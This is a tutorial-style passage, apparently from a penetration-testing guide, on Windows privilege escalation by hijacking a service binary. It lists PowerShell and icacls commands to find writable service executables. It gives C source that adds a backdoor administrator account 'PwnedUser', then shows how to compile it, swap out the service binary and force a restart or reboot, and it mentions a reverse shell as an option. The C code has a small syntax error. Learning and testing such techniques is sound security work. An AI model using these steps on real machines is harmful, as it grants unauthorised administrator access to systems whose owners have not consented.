In order to understand if we can hijack a service binary we need to view the name, state and path of the service binaries for each service that’s running and to understand if we have restart privileges or the ability to stop and start the service. This is where some trial and error may come in to play and it’s important to track what you’ve attempted so you don’t repeat efforts.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# this shows running services
We’re looking for anything outside of C:\Windows\System32
as that means it’s user installed and could be prone to hijacking.
Any services stored outside of System32 could be checked with icacls for permissions.
icacls "C:\users\public\myapplication\myapp.exe"
# The output will show permissions RX means read and execute. We ideally want F as that's full permissions.
If we have full rights, we can replace the binary with the simple exploit below which will add a user called ‘PwnedUser’ with the password ‘Pwned’ and then add then to the administrators group.
#include <stdlib.h>
int main()
{
int i;
i = system ("net user PwnedUser Pwned /add")
i = system ("net localgroup administrators PwnedUser /add");
return 0;
}
We can then compile this exploit for windows and replace the binary:
x86_64-w64-mingw32-gcc pwneduser.c -o pwneduser.exe
# Now we can replace the binary but copy the original, just in case something goes wrong:
move C:\users\public\myapplication\myapp.exe .
move .\pwneduser.exe C:\users\public\myapplication\myapp.exe
net stop myapplication
# if we have permission, we may be able to stop the service and restert it, if we can't do that we can check the start up type.
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'myapp'}
# if the output says that it's Auto, that means the service restarts on boot. If we have SeShutdown Privilege then we can reboot.
shutdown /r /t 0
# reboots the system.
Once this is complete, we can now check if our adduser exploit we can list the members of the local administrators:
GetLocalGroupMember administrators
# we can then log in as our new administrators account
It’s also worth considering alternate approaches, so rather than adding a user, you may be able to trigger a reverse shell when the service restarts.